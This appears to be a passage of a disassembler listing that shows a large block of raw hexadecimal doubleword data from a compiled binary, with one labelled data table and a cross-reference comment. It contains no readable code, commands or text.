		dd 2AA8C46Fh, 6A21E0D8h, 0C18F10AAh, 8A75A668h,	0D5F63843h
		dd 0BF05F080h, 9F50A460h, 15AC0F74h, 6997E961h,	8A6FF22Ah
		dd 4B38D20Ah, 80E52BBh,	0F709DC96h, 0D10BFFD0h,	1EA8A22Ah
		dd 612A4DE4h, 16FB3C77h, 7389CC19h, 309489E2h, 281B6E68h
		dd 3A16CB2h, 934EE491h,	0A915C101h, 5BE839E9h, 8EEE3494h
		dd 0EEB04E31h, 0C7C5C038h, 25694FA8h, 1741E3F6h, 278603Ch
		dd 0B309AFA2h, 37F6CA29h, 9056055Bh, 0B9159F35h, 0B70692EAh
		dd 2C27AFE7h, 136170EAh, 0E4DBFE14h, 447F680Bh,	5C7C9FB0h
		dd 82BA5DF6h, 0FEF3E912h, 0A7D331EDh, 20075827h, 0DD291609h
		dd 9679ED5Bh, 3DD838FEh, 0EF59E360h, 4FB3D9A2h,	7EF9A893h
		dd 0BACBC254h, 0D33BDA0Fh, 0E5AD454Fh, 8FD034ACh, 0BE958492h
		dd 4592BFE6h, 0BFB797DFh, 2F682338h, 39E6552Bh,	1DA616C0h
		dd 29E94235h, 2BEFA14h,	467E41A7h, 0EF401C00h, 59D6A127h
		dd 39CCA62Eh, 9FE85BD3h, 94C1F52Dh, 837DC2B1h, 9F37F117h
		dd 0AEF41DD7h, 0B90287F8h, 21EC4BCBh, 47E0543h,	1C6F1B31h
		dd 0E43EEAD1h, 24412BB3h, 66572941h, 67EC6959h,	629691D5h
		dd 935DE286h, 0EDAC06E1h, 13522F3Ch, 55E82900h,	73F41BDh
		dd 0E5C12D06h, 3A6CCF01h, 53843A56h, 825012C2h,	762B3A7h
		dd 57E6C266h, 0A83F575Eh, 0E698F522h, 0E969FC09h, 7B950F4h
		dd 0B1ADB652h, 5AF1007Fh, 5970CE88h, 0FF95F05Fh, 0A82FC9E8h
		dd 0A24A5A12h, 9BDF947Dh, 532993CFh, 0E1B304C4h, 14CD8823h
		dd 582DF540h, 361854E5h, 74F6F85Dh, 910D384Fh, 82040DF2h
		dd 491F61BBh, 9E313F36h, 162E208Dh, 0A243E0E1h,	0AD206467h
		dd 0D0D0BCE5h, 54BDBEh,	0CE811536h, 3EB510F3h, 4AF6ADB8h
		dd 4043472Fh, 5D01703h,	77E9DC2Ah, 0F48BECCEh, 2E9E8BEBh
		dd 9900E95Eh, 5A6C2F09h, 4E260D1h, 0F281DAF7h, 43D9980Ch
		dd 573664Fh, 14A957Fh, 8CD10D6h, 0E29A924Ah, 0FC475849h
		dd 522EE8CFh, 0EA2C5F88h, 0E78C2213h, 0F49E41FFh, 7B9D6B38h
		dd 40044BEDh, 5A13A0EDh, 0F925639Fh, 0D47E77C8h, 5D0804ACh
		dd 0BF008401h, 0B6CB4CF3h, 5898E052h, 3D89B94Eh, 20AF7C42h
		dd 0F370AAEBh, 0A258522Fh, 893657Ch, 125E0995h,	34B1E798h
		dd 0E999B207h, 0C6090E8Fh, 0BAA0F406h, 685A0A1Eh, 0C6817BF8h
		dd 0B0174941h, 4EEF65Fh, 0B99B7D65h, 63FFD220h,	0AE10DF32h
		dd 0FD4B3D1Dh, 0BF74C682h, 13FB970Ah, 73B204CBh, 7E52CEEFh
		dd 0B5863F37h, 14DB2767h, 632CF6B8h, 0F3017FA2h, 3D5831C2h
		dd 6B2E519Dh, 549DE970h, 69046B3Ch, 76AF12D1h, 0A101ECF3h
		dd 0E9052972h, 0BD81E2E6h, 0D74BFFF1h, 0D3132F27h, 8AC4E4A2h
		dd 5E24929Fh, 52FA560h,	815FCD00h, 4A1534C9h, 8209676h
		dd 2912AB60h, 13C5D4B0h, 0E47B0B53h, 0DE400CF4h, 0B8EF5F01h
		dd 51C4D9Eh, 299A2B3Bh,	0B3767C3h, 0E55BE90Dh, 0F8F66614h
		dd 46E4DF5Bh, 3F1F1FEDh, 3FF5E4A4h, 0C0162F13h,	7A69BE0Eh
		dd 84C17450h, 53E01518h, 1F49205Eh, 0D9E934FCh,	61F8ADD9h
		dd 0E959F2F8h, 375E2501h, 6BD46C56h, 77AC001Ah,	0AFF32D40h
		dd 12C36E5h, 5FC9D2C6h,	261F5D02h, 70C9BB00h, 31761298h
		dd 78EA4CBh, 0D529E6AAh, 0DE62943Ah, 0C370395Ch, 0E91909DFh
		dd 86D6015Ah, 3710820h,	0E4F0FFA4h, 5F3A4665h, 1A7D9CEEh
		dd 50F94C4Bh, 0E17E982h, 71EC57D2h, 776A7F8Ah, 23B4771h
		dd 4A3EACC5h, 0F6F08209h, 1A997597h, 266AD628h,	27F11D80h
		dd 511FE47Dh, 39F9315Ah, 0B08596CDh, 0F63BE52Dh, 0E09192E1h
		dd 550020B5h, 0D69574FFh, 677FD226h, 9AFFA51Ah,	38C35AE9h
		dd 0AA4B6753h, 0BA074E66h, 84E927B2h, 88685B01h, 0BD18506Ch
		dd 0C9012250h, 5DEF210Ah, 0E164A3E9h, 8F2D045Ch, 0AB30FF7Eh
		dd 8C8B1C04h, 0D44B8116h, 0D770D69Ah, 61912DDh,	5DF9311Ch
		dd 0E0091AADh, 0F72D4270h, 702058D8h, 0D4349F69h, 5B6AF69Fh
		dd 0F168C709h, 29B1C950h, 0C5894069h, 4CC20756h, 0C9C4DDDEh
		dd 552EF80Fh, 0E101863Ch, 18ED7583h, 0C68850Bh,	2A0B11CBh
		dd 78B2E97Eh, 0C5801CB1h, 0FF07FF1Ch, 9208E5C0h, 40E03FF5h
		dd 0B3B50112h, 0E4AFD90Ch, 53EE5B81h, 0EC73B61Ah, 2CC31B58h
		dd 840AF068h, 4AE0A6EBh
		dd 9C7AFA4h, 29280B7Fh,	98F6467Fh, 117E2709h, 90E97518h
		dd 909C3F4Bh, 5C5E4C59h, 96F36D51h, 0C9F104FCh,	0B412422Ah
		dd 0CF4F5AE9h, 510AE849h, 0CBF09F37h, 0FD1E755h, 196A5303h
		dd 0EC6DE16Eh, 301E9D7Fh, 2B0E8D3Eh, 0DE297C47h, 4C08EF14h
		dd 0BB874485h, 8000AFCh, 0B5F38164h, 2D2F5122h,	0E10E94E9h
		dd 0C3EC052h, 155C8B70h, 0C6004F77h, 67072D59h,	0EC664ECBh
		dd 5A0740D6h, 7D1211ECh, 0F5E82B26h, 75D40741h,	65660421h
		dd 0F5AFB0E9h, 1BAC82ABh, 557EB962h, 0D9492FD9h, 0A3330C3Bh
		dd 5927C837h, 59FDF429h, 0CD3E7452h, 31A07400h,	0CBE9018Fh
		dd 9DD2D003h, 9105DA07h, 1A82C91Ch, 68015EE2h, 0F6285D4Fh
		dd 372F518Fh, 0D35A32C4h, 54A9E039h, 99DFF776h,	10EE90E1h
		dd 12CD68A6h, 0BF97E90Ch, 5E7973C7h, 2668E9C5h,	75DF9407h
		dd 0AAD37BD0h, 0B055B38Dh, 803CD07h, 4FDD4E99h,	0BA291005h
		dd 6BAE6809h, 322D36F7h, 0EF99F9E7h, 0F4FAC07Dh, 0BE12C317h
		dd 3CD0721Dh, 0CB1FD7B8h, 0C8C9D3BAh, 0B11CDFC2h, 0CA0FD69Fh
		dd 14CA62B3h, 0B8A3E309h, 0B7C876DAh, 0C90280F0h, 0E9B480D1h
		dd 0D53DEA64h, 0F52743C5h, 0DC39F998h, 965CCC82h, 393DC251h
		dd 47E45319h, 0E22136Ch, 0A900005Bh, 81721C4Dh,	3AC9CE04h
		dd 0E0BE08DCh, 1313AC1Fh, 8FFC74FEh, 0E9585305h, 0B9E4F032h
		dd 65115C14h, 39024CBFh, 0CBAC5BCBh, 0AED3D5B7h, 2226B23Dh
		dd 1AA3B802h, 2055496Bh, 0E940588Fh, 5CDBC36h, 57432A68h
		dd 5A2EB265h, 7CAD6DBAh, 0F404969Ah, 5807084Ah,	92777E53h
		dd 0AF54E19Bh, 6674D9E5h, 8E444FBh, 0A15C0AF0h,	0DB36D402h
		dd 0A399801Ah, 0F86FEF63h, 5A5E2852h, 40DA90F3h, 0F94CB58Ah
		dd 0FCEE27CBh, 22C1802h, 3EB0041Ah, 15FD057h, 0D6F6EEB6h
		dd 0AD3FCEFEh, 0E92C77ACh, 0AFBAC845h, 0BF11D037h, 5D6B79DBh
		dd 0E9124294h, 3DEBE42Ch, 37B8FC08h, 0F80212B5h, 8159974Fh
		dd 0E90421CBh, 743F6A1Bh, 7ED12DEEh, 82570A72h,	7A3EEAC5h
		dd 0B8FB0913h, 255DBF03h, 16F81FF2h, 336CEB4Ah,	2781BF52h
		dd 0ED464173h, 0B5826ADFh, 0F3E7076h, 13F4CF81h, 758B4E2Bh
		dd 4C52BA02h, 4805A6F0h, 152EAF35h, 0E8BC1782h,	2E1BB915h
		dd 162CC277h, 3BA2AC41h, 0A1AB165Eh, 0A04B1BADh, 0A27766A7h
		dd 2CB27C9Dh, 99D7C909h, 412E4F95h, 255C662h, 0EEB930AEh
		dd 88BCAF1h, 0EDA67E71h, 67F96D13h, 29B598A5h, 0BC3AF941h
		dd 1348C29Bh, 0EDA1815Eh, 2B60C11Bh, 492FB851h,	804E8AF2h
		dd 5266DCACh, 558C683Ah, 19FD2038h, 0F1289FA0h,	0BD805A39h
		dd 0E6A99431h, 0E82A4F5h, 24D17478h, 8151E5E9h,	74838F9h
		dd 80BCB570h, 74886FE5h, 0CFC1A4h, 0BE0EC42Dh, 16C1946Eh
		dd 0C499A150h, 0B805353Ah, 7053151Dh, 0DC8B10BFh, 4F97080Eh
		dd 0BCF1E57h, 805502E8h, 43413B0Fh, 4349D7DAh, 616855DFh
		dd 52E75F7h, 8A0923E9h,	8CC54019h, 62350212h, 12B60DFCh
		dd 416245B7h, 3A49FAE9h, 0A5688571h, 40BFA404h,	4744295Ah
		dd 0BE1756AAh, 0FD99681Ch, 0A4F4E706h, 1913A075h, 0FA67C92Dh
		dd 7C699500h, 2920032Bh, 225526D7h, 3E438896h, 42257A6Ah
		dd 5FB25F78h, 92A9797Fh, 0C0F2B142h, 28025AF4h,	0C3EC80FCh
		dd 42ED8B5Bh, 69F17700h, 0B64A8662h, 0F1DB9F90h, 0FC605E96h
		dd 9D74BAE9h, 64513390h, 5613145Ah, 4066DA05h, 0C88334FBh
		dd 8CB85EA5h, 80BB0BBh,	37A3C673h, 60B70B27h, 14DC1BA5h
		dd 57E8290h, 0ED00EE4Ah, 85712F2Dh, 0C108B754h,	1C853A07h
		dd 0A8677327h, 0C331C002h, 0A9869FE9h, 43EDFC4h, 0C9FD68F4h
		dd 9DDDD9C8h, 0A09BAC0Ah, 1AF7D10Dh, 8526A63Bh,	0E7AAF778h
		dd 3C7A4065h, 0A4411B41h, 538AB9D0h, 62BB73FBh,	0AB438DB5h
		dd 0CAC5FEA9h, 7817DCE1h, 5C824EE1h, 92CF76A0h,	998EEBE3h
		dd 0EADBE90Ah, 1CF7829Ah, 8E29377h, 31E2407Dh, 513F2D5Ch
		dd 948035F4h, 0E961113Bh, 2D29965Ah, 0FD48F60h,	89F94C0Bh
		dd 14AD0EEh, 3B580CECh,	7B49D1F7h, 535A23D0h, 0E9D40B26h
		dd 46D6F071h, 0CBFA5F72h, 6B2BBEBCh, 2D06B008h,	8568F3B0h
		dd 9D992AE5h, 82EDEA20h, 17A75977h, 190F118h, 2A4707E2h
		dd 0E1AE4B40h, 27E9B8F7h, 9366B58Ch, 0FC20577Ah, 39055493h
		dd 0CC504A34h, 2FE10253h, 0DC057070h, 1B8F2546h, 2F07FA08h
		dd 0FF65FC92h, 0E63FE904h, 93BF989h, 0AAE2C376h, 0DC6A0055h
		dd 3C773948h, 0E2010558h, 44E9320Ch, 6193DE4h, 1F4A5D60h
		dd 7C86020Ch, 62E917F4h, 52580868h, 2309D090h, 74509440h
		dd 7CE640A4h, 894AA11Ch, 0D61792B8h, 6D29BFFFh,	0B6494BF0h
		dd 0F6268BE6h, 93920C59h, 0A2BA17C4h, 1053A337h, 493C614Eh
		dd 0B164FE7h, 30372A9h,	290DF224h, 0FC28849Dh, 0A1DF772Dh
		dd 6625CBAAh, 77995756h, 4EE91C34h, 990FC572h, 285A0192h
		dd 5856005Fh, 525B2C5Eh, 1D31071Ch, 815DA011h, 201246CDh
		dd 76000922h, 5F333D53h, 0C002F4E9h, 463FBB56h,	0F0BF2256h
		dd 0B3A0B55Ch, 3EC85BBAh, 73F311C0h, 0B7C24A56h, 0E4056205h
		dd 0E85001B5h, 0E2ABF4FDh, 0D13B69B1h, 28363865h, 2FAC08C1h
		dd 0DAC2E696h, 0B52D0069h, 74B8356Ch, 506E801h,	0FCBFEC52h
		dd 2F27A16Bh, 0E98705A3h, 0CAAAD979h, 0CCD913BBh, 0C1406D56h
		dd 2CC74A31h, 9C0AC5C1h, 905CD162h, 4912AA0Eh, 49A87D1Ch
		dd 171C3408h, 1E32FB14h, 58495E5Dh, 0D9A60917h,	8CA8F197h
		dd 0EB79A728h, 7927B80Bh, 0F225055Fh, 0D19C000h, 7D5BA1h
		dd 4B48256Fh, 0C82D6068h, 7F7A5800h, 0AE137805h, 9DD1A082h
		dd 79642D59h, 8825DD2h,	0B700733Ah, 5E1074Ah, 3FEB9A90h
		dd 0BDFBF404h, 12424BFh, 1336DDD6h, 58D43E69h, 9B310816h
		dd 0F1833A7h, 8AC8AF26h, 0D2561012h, 0A24C060Fh, 0D26F7768h
		dd 0BAB44812h, 5C06C3Bh, 180FA705h, 7BC2211Eh, 0DDF94042h
		dd 373A3B2Bh, 4386EA0Eh, 94F6172Bh, 0F42A8971h,	5C9758EFh
		dd 0FE5CE44Eh, 0FE1065E2h, 0BD5500D4h, 31A6641Bh, 0ACD55FF7h
		dd 0F581018Ah, 75876213h, 0DDBFF940h, 0A5B148A9h, 0C028BE50h
		dd 5413B870h, 36B63083h, 890922ADh, 2527EE3Bh, 5AE28DE9h
		dd 0EB14C57h, 17B95BDh,	0CA007E5Ah, 35B51A6Dh, 0E9024662h
		dd 252F54C1h, 91206544h, 0BBB40520h, 0C307ECC0h, 0F499BC73h
		dd 44312EC4h, 9CCAE288h, 0E9ABC296h, 8802B55Ch,	69E35DC1h
		dd 585BFAA8h, 5AD02800h, 85E9DC04h, 84D9B48Fh, 0C04032D5h
		dd 0E162C5B1h
dword_4F0044	dd 40EE062Dh, 5F876831h, 2F018F61h, 6D1A8034h, 9F417563h
					; DATA XREF: ___:004385A4o
		dd 0C6204276h, 0C6C73A5Ch, 0B160685Fh, 7EE98AC7h, 3A9A89Eh
		dd 4F5F0208h, 501EFE01h, 1BC32CD6h, 3F12EE9h, 1A02E1A7h
		dd 0C0B71785h, 13E0412h, 0A5CA313Bh, 9D31D0CFh,	0F552305Ch
		dd 7F632549h, 4AF5CF48h, 60350246h, 0BCC14B53h,	293372h
		dd 0B5FFB21h, 30850FDBh, 68AEF124h, 0D8994332h,	0A1401E10h
		dd 0A6373FB6h, 2DDD5CF8h, 0E73D2807h, 9EF1E05Eh, 360C410Ah
		dd 79E850E9h, 5C6D09C7h, 0F1742190h, 45BF08A0h,	81CAE7Ch
		dd 5C02FAF7h, 0CC430768h, 0B14C7BC9h, 277C2DEDh, 0D11133F9h
		dd 0DE0B68B1h, 120F2B4Ch, 4B1EFE52h, 2F54A232h,	0C2C75E0Ch
		dd 0F1AF2568h, 79D829C9h, 3F096CE9h, 4FA61FE3h,	0BA338E4Ah
		dd 896A8540h, 9560F60Ah, 0C90B9D53h, 58B9FFD9h,	6A65F153h
		dd 6AC63720h, 60337B9Dh, 685B6FBEh, 0C2B43F80h,	0C2CB460h
		dd 164E5856h, 487EA15Fh, 0AF50C100h, 0EBF05A68h, 0DE114A65h
		dd 0B848F1Ch, 27846259h, 952918B0h, 986CA859h, 55D92E8h
		dd 0D676ECC5h, 0EFC1AF0Bh, 482D3845h, 0D6F746C3h, 60894B9Fh
		dd 6281E2F1h, 31D22739h, 0E949D83Eh, 0F004955Ah, 4FC35954h
		dd 0E8CD4E07h, 92383C6Bh, 0F6F4E611h, 1C05933Ah, 801C601Fh
		dd 0E5CA91F5h, 8118F6EDh, 3EA4EA17h, 0C2BACA28h, 0A9AC2DFDh
		dd 0AC988164h, 0D4B151C3h, 0DE51DA80h, 0E319C29h, 0E80359C8h
		dd 0B1E95266h, 0E7FE701Ch, 0DFBF9EC0h, 0F4786B3Eh, 8C434E9Ah
		dd 2C2C74BAh, 67148D8Bh, 1AC1809Fh, 0A0A3D28Fh,	2D0B14A5h
		dd 0EE82397Dh, 0D10A2C62h, 0C1C90D1Eh, 2693DE0Fh, 593D4083h
		dd 9E982F5Dh, 69F4DB5Fh, 0B83BF50Dh, 6C46806Bh,	27E976B3h
		dd 9679F7F8h, 12B8D4E9h, 50CCFC51h, 7DFFE13Eh, 722B0746h
		dd 9CB23F30h, 0DDBD00A4h, 267B03Bh, 0F9D2A3BAh,	586AFD08h
		dd 0BA52F4E8h, 0AA7BF517h, 4EA7400h, 16EFF281h,	0C03C8D53h
		dd 47F452AEh, 62A1384Bh, 36091140h, 294E1A8Fh, 802A6C6h
		dd 0A057F6E9h, 7168E6AAh, 622B9C1Fh, 0C6574742h, 0AE54ACCh
		dd 2974B27h, 38035B66h,	0C293E97Fh, 0B3108A25h,	27D2D58h
		dd 5110D229h, 98DD7868h, 638FE9E7h, 2623F95Eh, 1BD15793h
		dd 2FE37E9Fh, 28A82779h, 2B125345h, 0BF4F21F8h,	80874438h
		dd 0B9A25BE9h, 0BE19D37Fh, 0DCEA56A5h, 0C708165Ch, 28B800A1h
		dd 2D27582Fh, 4A10500Fh, 955AE5CFh, 40DACEBFh, 0BD626A1h
		dd 0A0BB52BAh, 2313D366h, 50AE323Dh, 5826087Ah,	31830885h
		dd 0E2EC5417h, 7C279C02h, 0B470F73Ah, 1A810326h, 77F14300h
		dd 0C06E54E9h, 26946883h, 5F6020DAh, 46562B8Ah,	0D50CC306h
		dd 9EDE0E2h, 0AF7DE6A6h, 0ABA8966Eh, 3FC29E89h,	92BADF63h
		dd 5953F16Ah, 0F89C77E9h, 0D91E5D05h, 0D701F709h, 7FA0E9D6h
		dd 1E571EA5h, 0CB44D36Ch, 52EA4F27h, 93CDA2FAh,	0F5D84509h
		dd 49253F64h, 0F9D41832h, 27D48291h, 1002068Ah,	1E98D7A5h
		dd 23B911B6h, 0E285992h, 51622C68h, 6182C001h, 0D1256C6Dh
		dd 2FFF8E6h, 4414BD55h,	166232F1h, 4DB51DD0h, 0C6A53E18h
		dd 0FD68DF79h, 2C6D1F02h, 0E8E0DF0Dh, 2ED0CE01h, 0BFE9170Bh
		dd 9AAAAA56h, 3DAE4E5Fh, 0AE59554Bh, 984E618Bh,	302F6896h
		dd 0C918D116h, 9027599Eh, 5B07AE3h, 344484Ah, 0F641AB29h
		dd 2A1F705Ah, 68AA52Fh,	17801C08h, 0F64B78E9h, 0EAD465AEh
		dd 3230FC8Dh, 69A0BE06h, 0AF9985Dh, 0BD5EBA53h,	272560D2h
		dd 15DCEECFh, 7D4FB568h, 0D02EE4Fh, 0B3515BD8h,	0F1C7E3FFh
		dd 7D8E9FDh, 63549601h,	68A0C8BEh, 0E916092Ch, 0E490602Eh
		dd 4E811A21h, 58AED46h,	6811A214h, 0A9E9AC42h, 0F5145F31h
		dd 360BF60Bh, 5FA34191h, 0F54A548h, 5251700Ah, 5C2EDA61h
		dd 0CAE2301Fh, 9E6FC800h, 6E2C14Dh, 0B6F178E9h,	13DF83E4h
		dd 16D96CCBh, 0A6A324F8h, 59D12900h, 0E845F12Dh, 5D353E7Ah
		dd 21A16105h, 604DF3C3h, 135E4BC8h, 0B81CD863h,	71B5D58Fh
		dd 0F09DE5FDh, 660E5B80h, 4EFC8850h, 18E28FD7h,	0B574203Ch
		dd 0EBCE00A5h, 3AD40327h, 7EA01AAAh, 0A97F9D57h, 0C245963Ch
		dd 0C0DD09DEh, 0F119CD9Ah, 4B730B7Dh, 166EE6CAh, 9D20E0BDh
		dd 6E7A6F4Dh, 57226619h, 0F1F61B94h, 0F7B5E02Fh, 92279FD2h
		dd 224790E0h, 1995D101h, 806E4934h, 0F67BB5CEh,	6DCF2926h
		dd 47D97F5Ah, 7855562Fh, 0E04928E9h, 71F70357h,	120A45Ah
		dd 330699Ah, 61FA2974h,	5F08021Dh, 0FF57C855h, 6BB5246Ah
		dd 0EF688B2Ah, 0E2C57274h, 4FC298B4h, 10D1B158h, 2B52E964h
		dd 0EE2DDDBAh, 200474E7h, 0BB2F8E5h, 91BAE96Dh,	0F642B5FBh
		dd 71A457F1h, 83C48255h, 80E35D05h, 2ED7F14Bh, 80EE1C09h
		dd 0DC22FB7Bh, 0BDCEF44Ch, 294BB216h, 3BAC0871h, 6EF9DD2Fh
		dd 10055CB6h, 804C600Bh, 0EA1FDAFFh, 3E0B0D5Ch,	1560FF22h
		dd 0CD04AC0Ch, 5F9FA2ABh, 314DD502h, 0D5105E05h, 622C05CBh
		dd 56E01FA0h, 0C5994E68h, 81B2AF4Eh, 0A8FC56CBh, 0C19110EBh
		dd 92A1B968h, 1651095Ah, 0A2BD5CE0h, 6EA3170Bh,	8EBAF09h
		dd 0D3B80144h, 0E82AF51Ch, 0D9B412C6h, 23C50BEBh, 92C5892Eh
		dd 9AFD93EBh, 0C9EDF44Bh, 3D6BC655h, 941732E9h,	741FA6Fh
		dd 62D6452Bh, 14CECB30h, 0CF6E0E3Bh, 9961E304h,	0BDD1FA73h
		dd 382E52B8h, 0D705F7F9h, 2231E956h, 683F20AAh,	0EA835306h
		dd 5C1E69D7h, 0B5849D7Ch, 8567BA1Fh, 0DE3B35A2h, 536260CBh
		dd 0B0B561D6h, 88C68455h, 310B6AF7h, 0F591A08h,	0BB672325h
		dd 0BAF9D2E3h, 95CEC154h, 355E0473h, 0BAF9D5A1h, 0C2311D46h
		dd 0BCCC5EF8h, 8E56DE4Ch, 13B26AA0h, 21EA28B7h,	4F5152Bh
		dd 687D80EFh, 0C59D712Fh, 2CFA4E4h, 74A36632h, 169DD9C0h
		dd 0F02D2927h, 81B2749h, 0A22C5471h, 0F0878807h, 51EED0D2h
		dd 34A84E7Ch, 78C5BF00h, 268153D9h, 148989CFh, 3902E93Ah
		dd 293D866Fh, 288A8F69h, 0AA85EB3h, 0B4DBB84Eh,	7D848094h
		dd 36F901FBh, 2C0AB2A1h, 50665DEh, 5D7A3782h, 0C78907E7h
		dd 4A145D02h, 4ADC4C9Fh, 9828AB5Fh, 84152C1h, 555A6070h
		dd 5330ABEDh, 0DAF32D4Fh, 3C190202h, 0E05F4D44h, 394BC56Bh
		dd 29107184h, 179E40EEh, 0E2CD10F5h, 1ED83033h,	9EFFD32Ch
		dd 7EE9E40Bh, 271B5A86h, 9075EDFAh, 1D0D34DCh, 895F731Ah
		dd 2AD436B9h, 9D1D3566h, 0F1530041h, 4A5068FBh,	0ABD663FCh
		dd 2342AA20h, 806A4A68h, 67A1C903h, 41479616h, 0E87AD5FCh
		dd 4B087044h, 4DA2A80Dh, 0A6FAC411h, 0C542C9E4h, 0F8A4F015h
		dd 8BACD16Bh, 0A384A23Bh, 15B05CAh, 927F099Bh, 460D3073h
		dd 726A3313h, 0BC4F1EA8h, 88746055h, 27B4C275h,	745DD01h
		dd 0D849D827h, 6C82D606h, 50C077F0h, 1CF31BD0h,	9D4172E9h
		dd 4B074759h, 0EBBFEBD1h, 67BF10BDh, 0E58127D0h, 472DFCF8h
		dd 20175A88h, 27CB11F5h, 0BB07675h, 36DD425Fh, 1D7CB5B2h
		dd 4DE25892h, 1AD98CC4h, 5D882B86h, 5AD011B0h, 0E8EDF497h
		dd 0F4AA091Fh, 0D327B3D7h, 493E63Dh, 8EE1D2EBh,	1039ACFEh
		dd 5725C947h, 1422D40Eh, 0A7FE4A65h, 0C9A10720h, 0C45FC6F7h
		dd 0CCD7806Eh, 7AF282C9h, 1E7FE40Ah, 51AF8C69h,	2AB50180h
		dd 0D9C17103h, 0FD183004h, 75CFF32Dh, 8F678602h, 2573EBC4h
		dd 0C062E61Ch, 0F64203DEh, 60F0288Eh, 820FE056h, 7F392B61h
		dd 8EF90331h, 647BCA6Eh, 83FA5A1Fh, 232D5939h, 56B954E0h
		dd 80F9669Fh, 538B6BFh
		dd 0E2C10D1Dh, 0BB8E0208h, 0E2F0E67Eh, 0ADC8BF0Bh, 2FE77C25h
		dd 0BD100F84h, 0E2EB015Eh, 294AE448h, 804DB65h,	0BE5A64BFh
		dd 0D143590Bh, 7EBE87D6h, 8150E439h, 2BF4C2Dh, 0E348FD5Eh
		dd 681F11F7h, 0E6CB372Bh, 528A6858h, 8E1C893Eh,	415150C2h
		dd 612CDFB0h, 0C8ADA12Fh, 0A8945AF5h, 85EC696Fh, 0DCBCB82Eh
		dd 7FD00500h, 0B42D31F1h, 7BD14F0Fh, 0C3026148h, 13608CC2h
		dd 0F02F396Ah, 40FEED5Ah, 20F35808h, 0EA5FA631h, 385A59E4h
		dd 9EC83521h, 0FD82Fh, 0B50A866h, 6FC5FD4Bh, 94D1DDBAh
		dd 0C5570Fh, 3A4B4F2Ah,	495EE950h, 0CA840498h, 0A3241F54h
		dd 0C94E4810h, 79FC40EDh, 770BB12Ch, 79C244E9h,	5BDA426Ah
		dd 0E9E809BAh, 1C53EA68h, 0AFA940ACh, 45C38825h, 9A043C40h
		dd 940AD568h, 0A460845Ah, 6178C15h, 6C001BB8h, 40A3482Fh
		dd 0BE7FA47h, 116123A5h, 43014F05h, 495C5D5Ch, 5BDF3198h
		dd 95BAD0B7h, 554091C4h, 2677B168h, 0BDFEA65h, 0D9A54DBFh
		dd 786AC142h, 6C7E3025h, 51056507h, 0F7D04464h,	30F35D8h
		dd 2D18AB1Dh, 0FEE3F121h, 3A58C5A1h, 4A43B4B4h,	2E6B36Eh
		dd 534BBFC3h, 8806C270h, 880A0878h, 0C942CE03h,	84E4710Eh
		dd 0C7A73237h, 0D103254Dh, 7BCAB0C8h, 1C864CE0h, 0C7C9CE80h
		dd 0D9E9CFC6h, 0FE2EE8DAh, 1E0BE35Fh, 9801E820h, 517F862Ah
		dd 0D1D4552Ch, 77D2029Dh, 29B100AFh, 2B7A05D0h,	0A32BA2Eh
		dd 2B5565Ah, 75D07CD7h,	4A0EAC5Ch, 0E94E8187h, 6797419Ch
		dd 3225AFE1h, 2A85E3AFh, 6816F80Eh, 0C2605F45h,	13F819CEh
		dd 0EA3CE97Fh, 18F54890h, 1A674C29h, 80072D28h,	0B1A93F9h
		dd 0D3F776CBh, 0E1821176h, 56BFBD0Bh, 92E9065Eh, 31586437h
		dd 0E8D1000Ah, 8715E505h, 0B72D042Eh, 0C061C1CBh, 911E75C2h
		dd 0C77063B5h, 6C25082Ah, 0E2E91630h, 9572900Ch, 25637C76h
		dd 115D26Ah, 0D3DEB19h,	925E27E0h, 420C7394h, 0F2B1A18h
		dd 2978433Ah, 80D1C9Ah,	0C014041Ch, 1C26C0C5h, 4027285Ch
		dd 2C5B07D0h, 54B5B232h, 0AE4F2C88h, 407D5291h,	82C95311h
		dd 0A5DF65FDh, 0DCAF9A5Eh, 77FF8B35h, 92DCF705h, 0EA445F1Dh
		dd 0B5763A80h, 73349B5h, 83C61F78h, 0F63CFD30h,	6BBD83F9h
		dd 0A2725B2Dh, 0F0085571h, 0BA5E1607h, 38E99742h, 5FAAF244h
		dd 3C8E80FFh, 0C60F237h, 665ABC4Ch, 97F09758h, 0FA06C65Bh
		dd 4FF9F931h, 4129A25Fh, 6B72DDDCh, 0AC689E81h,	43D983Eh
		dd 0C0AF4996h, 4C457429h, 5C2A7441h, 68EEA0DDh,	1C5B5597h
		dd 79DA2A84h, 0FFAB055Eh, 0C95BFE23h, 0A52FBB98h, 0F82B76h
		dd 9206E9C4h, 295C5DBFh, 5AE5BE39h, 16A17FB0h, 0FCC987B7h
		dd 7BB14F69h, 0D02A5B65h, 0BE3EF7B1h, 0CC9F797Bh, 0B219D22Eh
		dd 0C209D1E7h, 0C80925E9h, 121F3D53h, 9591034h,	0AF54DFFEh
		dd 2501CF27h, 0F1A427E8h, 0D14BD7B9h, 7E0E0906h, 0A3761E7Fh
		dd 93F02C20h, 476A02EDh, 0D15037E9h, 0CFC6816h,	1CA247FDh
		dd 9DD21857h, 5D31007Eh, 8167BD55h, 0B2DEA2CEh,	37C464C1h
		dd 6A82E901h, 4A2C65E4h, 83A8D25Dh, 0F44DB09Eh,	94C84CCFh
		dd 0B481F933h, 357EBB58h, 3CEB0AF3h, 175EE9F2h,	85D79CA8h
		dd 10AFAC43h, 0A44A5AA9h, 0C441D26Bh, 74F72747h, 0E0541638h
		dd 607A3755h, 4AB0655Ah, 411B7D2Dh, 16E13978h, 75FBE4E5h
		dd 68C220ACh, 851D0F6Fh, 23925B4Fh, 0FD61CCEFh,	0FD94C65Bh
		dd 8508C1AAh, 0C1D754E0h, 515DE11h, 50B90109h, 0FA892E83h
		dd 0C5AA1841h, 0EC743058h, 0E388591Fh, 43C3C853h, 38C9E835h
		dd 40AAF4F2h, 0EB4C010Eh, 37DE045Ch, 0B7C469FDh, 9F587BB0h
		dd 6B4ECCF9h, 28287BE3h, 4CA7127Bh, 8C88BE52h, 0DF99AAE1h
		dd 0F56B1E59h, 0EEE9D730h, 0F7258B9Fh, 6295781Eh, 0AB364039h
		dd 9246B711h, 0D105BE08h, 0C753CB1Bh, 2D05722Dh, 2D2CDB4h
		dd 31088409h, 0F2D1520Ah, 0C83E162Eh, 7049EECAh, 5BD6408Fh
		dd 0A8D64F29h, 7931B767h, 9E400296h, 4C3F1505h,	2C047DC4h
		dd 0A001BC62h, 804FFC0Bh, 0C8433F2h, 361F1D86h,	11121A16h
		dd 398F36E9h, 0F9E90CB0h, 6E800AC0h, 0F5614EF3h, 705BDE88h
		dd 0D8BDC71Ah, 30EE202Fh, 0F7409774h, 0B3CB5FA3h, 5901933Bh
